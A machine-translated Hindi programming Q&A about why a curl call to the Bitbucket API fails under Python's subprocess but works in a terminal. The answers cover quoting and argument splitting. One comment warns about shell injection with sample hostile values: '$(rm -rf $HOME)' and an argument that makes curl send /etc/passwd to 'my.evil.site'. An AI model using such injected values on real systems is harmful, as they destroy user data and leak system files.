2016-07-03 5 views
7

साथ फोन मैं एक कर्ल कि लग रहा है इस तरह एक सा है:कर्ल ठीक काम करता है, को छोड़कर अगर मैं इसे उपप्रक्रिया

curl -1 -X POST --user "xxx:yyy" -d "status=new&content=issue+details+at%3A+http%3A%2F%2Flocalhost%3A6543%2Ftest%2Fsubmit%2F16-07-03-H-20-18-&kind=bug&title=QA+Fail&responsible=xxx&priority=critical" "https://api.bitbucket.org/1.0/repositories/my/repo/issues" 

अगर मैं एक टर्मिनल खोलने और इसे अमल यह ठीक काम करता है (एक मुद्दा बन जाता है bitbucket) में

अगर मैं उपप्रक्रिया के माध्यम से एक ही कर्ल पर अमल करने की कोशिश यह सिर्फ विफल रहता है:

:

sCmd = "curl....etc" 
lCmd = [s for s in sCmd.split() if s] 
subprocess.call(lCmd) 

मैं त्रुटि संदेश मिलता है

curl: (1) Protocol "https not supported or disabled in libcurl 

मैं नहीं क्यों ठीक उसी आदेश पायथन में तो अलग काम करती है। कोई विचार?

इस तरह से, एक virtualenv के उपयोग के बिना है। और मैं एक तथ्य यह है कि lCmd की सामग्री को मान्य

पुनश्च रहे हैं के लिए जानते हैं: हाँ, मैं जानता हूँ कि मैं अनुरोध का उपयोग करना चाहिए। दुर्भाग्य से अनुरोध मुझे समान समस्याएं दे रहे थे।

+1

क्या होगा अगर आप ऐसा करेंगे 'lCmd = shlex.split (sCmd)'? – refi64

+0

किसी भी तरह से सरणी के बजाय आप स्ट्रिंग का उपयोग क्यों करेंगे? पूर्व-पार्स किए गए तर्कों को पास करने से आपको अधिक नियंत्रण मिल जाता है। –

+0

क्यों नहीं [अनुरोध] (http://docs.python-requests.org/en/master/)? – GingerPlusPlus

उत्तर

0

यदि यह उपयोगी है तो कृपया एंड्रॉ के उत्तर को ऊपर उठाएं, यह मुझे सही रास्ते पर स्थापित करता है। त्रुटि संदेश में

देख:

curl: (1) Protocol "https not supported or disabled in libcurl 

देख "https समस्या, https दूसरी ओर है ठीक काम करता है।

मुद्दा यह था कि मैंने सोचा था कि मुझे उद्धरणों में अपने तर्क तारों को घेरना था।

तो वहाँ दो आसान तरीके इस के आसपास पाने के लिए कर रहे हैं:

lCmd = shlex.split(sCmd) 
subprocess.call(lCmd) 

या

import os 
os.system(sCmd) 
+0

यदि यह समस्या है, तो मेरे उत्तर का उपयोग करने से भी इससे बचा होगा, क्योंकि पाइथन शाब्दकों का उपयोग करने से आपके तारों में कोई शाब्दिक उद्धरण वर्ण नहीं होंगे (केवल उद्धरण _Python_ वाक्य रचनात्मक उद्धरण हैं, जैसा कि व्याख्या करने के इरादे से वर्णित है _shell_ वाक्य रचना उद्धरण)। –

+0

... और आंद्रेई के उत्तर दो पर मेरी टिप्पणी देखें: 'os.system()' या उसके समकक्ष किसी भी समकक्ष उपयोग में अंतर्निहित सुरक्षा समस्याएं। –

1

मैं subprocess में curl आदेश का उपयोग कर के बारे में अपने सवाल का जवाब नहीं कर सकते हैं, लेकिन अगर आप सिर्फ os.system इस तरह फोन यह काम हो सकता है:

import os 
os.system ("curl -1 -X POST --user \"xxx:yyy\" -d \"status=new&content=issue+details+at%3A+http%3A%2F%2Flocalhost%3A6543%2Ftest%2Fsubmit%2F16-07-03-H-20-18-&kind=bug&title=QA+Fail&responsible=xxx&priority=critical\" \"https://api.bitbucket.org/1.0/repositories/my/repo/issues\"") 

यह सबसे अधिक संभावना टर्मिनल के माध्यम से जानते हुए भी कि curl रन काम करता है सीधे ।

यह आपके प्रश्न के बारे में curl उपप्रक्रिया में नहीं चल रही (शायद उपप्रक्रिया अलग किया जा रहा है तो वातावरण है कि curl कॉन्फ़िगर किया गया था के वातावरण के साथ कुछ है) के साथ मदद कर सकता है: https://curl.haxx.se/docs/faq.html#curl_1_SSL_is_disabled_https

+1

यह काम करता है, लेकिन यह सुरक्षा परिप्रेक्ष्य से आदर्श नहीं है - इस पर विचार करें कि क्या आप इस स्ट्रिंग को एक से बना रहे हैं उपयोगकर्ता जो अपना पासवर्ड '$ (आरएम-आरएफ $ HOME)' या 'yyy" --डेटा// etc/passwd के रूप में देता है http://my.evil.site # ' –

1

केवल बिंदु एक खोल रखने के लिए, इस परिदृश्य में, अपनी स्ट्रिंग को तर्कों के एक सेट में विभाजित करना है। आप इसे और अधिक सही और अपने आप लगातार कर सकते हैं -

बात तुम क्या करने के लिए कुछ भी है कि आप की जरूरत नहीं है, है! - कोई जरूरत के लिए उद्धृत उद्धरण को पास करने की नहीं है जब एक शाब्दिक argv निर्दिष्ट करते समय, शाब्दिक अजगर स्ट्रिंग आप पारित शाब्दिक स्ट्रिंग बच्चे प्रक्रिया प्राप्त करता है:

subprocess.call([ 
    'curl', 
    '-1', 
    '-X', 'POST', 
    '--user', 'xxx:yyy', 
    '-d', 'status=new&content=issue+details+at%3A+http%3A%2F%2Flocalhost%3A6543%2Ftest%2Fsubmit%2F16-07-03-H-20-18-&kind=bug&title=QA+Fail&responsible=xxx&priority=critical', 
    'https://api.bitbucket.org/1.0/repositories/my/repo/issues' 
]) 

यह भी शाब्दिक और वाक्यात्मक उद्धरण बीच भ्रम की स्थिति से बचा जाता है खोल।


यह भी बहुत कुछ एक स्ट्रिंग के साथ शुरू और विभाजित करने, यहां तक ​​कि अजगर builtins साथ की तुलना में विश्वसनीय है: एक मामले में जहां अपने उपयोगकर्ता नाम रिक्त स्थान हैं पर विचार करें।

'--user', 'user name:password' 

युक्त एक सूची ... जबकि

--user user name:password 

... गलत तरीके से पार्स जाएगा, पूरी तरह से स्पष्ट है।

$(rm -rf $HOME) युक्त उपयोगकर्ता नाम भी खराब होगा - यदि आप os.system() या subprocess.Popen(..., shell=True) का उपयोग करते हैं, तो उपयोगकर्ता नाम को कमांड के रूप में निष्पादित किया जा सकता है; एक शाब्दिक स्ट्रिंग के साथ, आप पूरी तरह से सुरक्षित हैं।


कहा - विशिष्ट त्रुटि, पुन: libcurl एसएसएल समर्थन के साथ संकलित नहीं किया जा रहा, कॉल करने वाले सम्मेलन विशिष्ट होने के लिए नहीं जा रहा है। मैं आपके पर्यावरण का निरीक्षण करने का सुझाव दूंगा - यदि आपके पास पाथ में पहले कर्ल के विभिन्न संस्करण हैं, या आपके वातावरण के बीच LD_LIBRARY_PATH में libcurl के विभिन्न संस्करण हैं, जो प्रश्न में त्रुटि की व्याख्या करेंगे।

+0

उचित बिंदु लेकिन विभाजन नहीं है मुद्दा – Sheena

+0

असल में, आपके द्वारा जोड़े गए उत्तर से, विभाजन ** ** मुद्दा है - यह सचमुच उद्धरण का इलाज कर रहा है जबकि आप उन्हें वाक्य रचनात्मक होने का इरादा रखते हैं। प्रत्येक argv प्रविष्टि को एक शाब्दिक पायथन स्ट्रिंग के रूप में निर्दिष्ट करना मतलब है कि केवल वाक्यविन्यास उद्धरण पाइथन उद्धरण, शेल उद्धरण नहीं, इसलिए आप पूरी तरह से समस्या से बचते हैं। –

+0

... खोल का क्षेत्र-विभाजन उद्धरण हटाने से पहले पार्सिंग प्रक्रिया में होता है (जो संयोग से, पैरामीटर विस्तार से पहले * होता है, यही कारण है कि कमांड डालना एक स्ट्रिंग में और उस स्ट्रिन का मूल्यांकन जी आपके द्वारा यहां रिपोर्ट की गई एक ही बग में अनजान परिणाम, यद्यपि पाइथन की बजाय खोल में; उस संस्करण के लिए http://mywiki.wooledge.org/BashFAQ/050 देखें)। यहां, आप वही कर रहे हैं जो '$ cmd' चल रहे लोग हैं - स्ट्रिंग-स्प्लिटिंग कर रहे हैं लेकिन उद्धरण हटाने नहीं - और परिणामस्वरूप एक ही व्यवहार प्राप्त कर रहे हैं। –

संबंधित मुद्दे